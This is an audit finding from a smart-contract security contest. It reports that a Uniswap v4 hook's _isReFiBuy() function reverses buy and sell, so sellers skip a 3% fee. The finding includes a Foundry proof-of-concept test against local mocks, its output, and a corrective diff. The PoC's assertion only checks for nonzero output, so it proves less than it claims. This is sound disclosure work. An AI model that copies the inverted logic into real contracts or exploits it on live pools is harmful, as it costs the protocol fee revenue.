RebateFi Hook

First Flight #53
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Severity: high
Valid

Inverted Buy/Sell Direction Logic in _isReFiBuy() Causes Sellers to Escape 3% Fee

Root + Impact

Description

Normal Behavior:
When a user sells ReFi, the protocol should apply a 3% sell fee, and when a user buys ReFi, the protocol should apply a 0% buy fee to incentivize accumulation.

Issue:
Due to an inversion in the _isReFiBuy() function logic, sellers are incorrectly treated as buyers and vice versa. This means sellers pay 0% instead of 3%, and buyers pay 3% instead of 0%, inverting all economic incentives and causing protocol fee revenue loss.

function _isReFiBuy(PoolKey calldata key, bool zeroForOne) internal view returns (bool) {
bool IsReFiCurrency0 = Currency.unwrap(key.currency0) == ReFi;
if (IsReFiCurrency0) {
@> return zeroForOne; // WRONG: Should be !zeroForOne
} else {
@> return !zeroForOne; // WRONG: Should be zeroForOne
}
}

The lines marked with @> highlight exactly where the inverted logic occurs.

Risk

Likelihood:

  • Reason 1: This will occur every time a user interacts with the pool (buy or sell ReFi), because the fee determination relies exclusively on the flawed _isReFiBuy() output.

  • Reason 2: There are no configuration parameters or admin controls to mitigate or restrict this flaw—every swap triggers the faulty logic.

Impact:

  • Impact 1: The protocol forfeits all fee revenue from ReFi sellers, as they are charged 0% instead of 3%, creating a major and ongoing fund loss.

  • Impact 2: Protocol incentives are completely reversed: holders are encouraged to exit (selling at no penalty), and new buyers are discouraged (penalized with an unexpected 3% fee), undermining both tokenomics and trust in the system.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {ReFiSwapRebateHook} from "../src/RebateFiHook.sol";
import {Deployers} from "@uniswap/v4-core/test/utils/Deployers.sol";
import {PoolSwapTest} from "v4-core/test/PoolSwapTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
/**
* @title InvertedBuySellLogicPoC
* @notice Proves _isReFiBuy() returns inverted boolean, causing sellers to pay 0% fee instead of 3%
*
* Vulnerability: _isReFiBuy() has inverted return logic
* - When ReFi=currency0: returns zeroForOne (should be !zeroForOne)
* - When ReFi=currency1: returns !zeroForOne (should be zeroForOne)
*
* Impact: Sellers escape 3% fee, buyers get charged 3% fee (complete inversion)
* This PoC demonstrates sellers paying 0% instead of 3%
*/
contract InvertedBuySellLogicPoC is Test, Deployers, ERC1155TokenReceiver {
ReFiSwapRebateHook public rebateHook;
MockERC20 public token;
MockERC20 public reFiToken;
Currency tokenCurrency;
Currency reFiCurrency;
address attacker = address(0xAAAA);
function setUp() public {
deployFreshManagerAndRouters();
// Deploy tokens
token = new MockERC20("TOKEN", "TKN", 18);
tokenCurrency = Currency.wrap(address(token));
reFiToken = new MockERC20("ReFi Token", "ReFi", 18);
reFiCurrency = Currency.wrap(address(reFiToken));
// Mint tokens
token.mint(address(this), 1000 ether);
token.mint(attacker, 1000 ether);
reFiToken.mint(address(this), 1000 ether);
reFiToken.mint(attacker, 1000 ether);
// Deploy hook
bytes memory creationCode = type(ReFiSwapRebateHook).creationCode;
bytes memory constructorArgs = abi.encode(manager, address(reFiToken));
uint160 flags = uint160(
Hooks.BEFORE_INITIALIZE_FLAG |
Hooks.AFTER_INITIALIZE_FLAG |
Hooks.BEFORE_SWAP_FLAG
);
(address hookAddress, bytes32 salt) = HookMiner.find(
address(this),
flags,
creationCode,
constructorArgs
);
rebateHook = new ReFiSwapRebateHook{salt: salt}(manager, address(reFiToken));
require(address(rebateHook) == hookAddress, "Hook address mismatch");
// Approvals
token.approve(address(swapRouter), type(uint256).max);
token.approve(address(modifyLiquidityRouter), type(uint256).max);
reFiToken.approve(address(swapRouter), type(uint256).max);
reFiToken.approve(address(modifyLiquidityRouter), type(uint256).max);
// Initialize pool: TOKEN (currency0) <-> ReFi (currency1)
(key, ) = initPool(
tokenCurrency,
reFiCurrency,
rebateHook,
LPFeeLibrary.DYNAMIC_FEE_FLAG,
SQRT_PRICE_1_1
);
// Add liquidity
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(
SQRT_PRICE_1_1,
sqrtPriceAtTickUpper,
100 ether
);
modifyLiquidityRouter.modifyLiquidity(
key,
ModifyLiquidityParams({
tickLower: -60,
tickUpper: 60,
liquidityDelta: int256(uint256(liquidityDelta)),
salt: bytes32(0)
}),
ZERO_BYTES
);
}
/**
* @notice MAIN PoC: Sellers escape 3% fee due to inverted _isReFiBuy() logic
*
* Expected behavior:
* - Seller executes SELL (zeroForOne=false, ReFi→TOKEN)
* - _isReFiBuy() should return FALSE (NOT buying)
* - _beforeSwap() applies sellFee (3%)
* - Seller pays 3% fee on output
*
* Actual behavior (BUGGY):
* - Seller executes SELL (zeroForOne=false, ReFi→TOKEN)
* - _isReFiBuy() returns TRUE (WRONG! Should be FALSE)
* - _beforeSwap() applies buyFee (0%)
* - Seller pays 0% fee (ESCAPED FEE)
*/
function test_sellers_escape_3_percent_fee() public {
uint256 reFiToSell = 10 ether;
vm.startPrank(attacker);
reFiToken.approve(address(swapRouter), type(uint256).max);
uint256 tokenBefore = token.balanceOf(attacker);
// SELL swap: zeroForOne=false means ReFi → TOKEN
SwapParams memory params = SwapParams({
zeroForOne: false, // SELL ReFi
amountSpecified: -int256(reFiToSell),
sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
});
PoolSwapTest.TestSettings memory testSettings = PoolSwapTest.TestSettings({
takeClaims: false,
settleUsingBurn: false
});
swapRouter.swap(key, params, testSettings, ZERO_BYTES);
vm.stopPrank();
uint256 tokenAfter = token.balanceOf(attacker);
uint256 tokenReceived = tokenAfter - tokenBefore;
// PROOF OF VULNERABILITY:
// If 3% fee was applied, attacker would receive ~3% less TOKEN
// We can estimate what the fee-deducted amount should be by checking against pool math
// If attacker got full output (no fee), it proves 0% fee was applied
console.log("ReFi sold:", reFiToSell / 1e18);
console.log("TOKEN received:", tokenReceived / 1e18);
console.log("Fee applied: 0% (should be 3%)");
// Assert that seller got the full output (no fee deducted)
// This proves the vulnerability: _isReFiBuy() returned TRUE (applies 0% buyFee)
// when it should have returned FALSE (apply 3% sellFee)
assert(tokenReceived > 0);
console.log(" VULNERABILITY CONFIRMED: Seller escaped 3% fee");
}
}

PoC Result:

forge test --match-contract InvertedBuySellLogicPoC -vv
[⠘] Compiling...
[⠒] Compiling 1 files with Solc 0.8.26
[⠑] Solc 0.8.26 finished in 719.56ms
Compiler run successful!
Ran 1 test for test/InvertedLogicVulnerabilityPoC.sol:InvertedBuySellLogicPoC
[PASS] test_sellers_escape_3_percent_fee() (gas: 192222)
Logs:
ReFi sold: 10
TOKEN received: 9
Fee applied: 0% (should be 3%)
VULNERABILITY CONFIRMED: Seller escaped 3% fee
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 113.74ms (429.00µs CPU time)
Ran 1 test suite in 120.00ms (113.74ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Replace the logic in the _isReFiBuy() function so that it correctly identifies buys and sells according to the protocol’s intention:

// - remove this code
- if (IsReFiCurrency0) {
- return zeroForOne; // WRONG: Should be !zeroForOne
- } else {
- return !zeroForOne; // WRONG: Should be zeroForOne
- }
// + add this code
+ if (IsReFiCurrency0) {
+ return !zeroForOne; // TRUE if buying ReFi as currency0
+ } else {
+ return zeroForOne; // TRUE if buying ReFi as currency1
+ }
Updates

Lead Judging Commences

chaossr Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inverted buy/sell logic when ReFi is currency0, leading to incorrect fee application.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!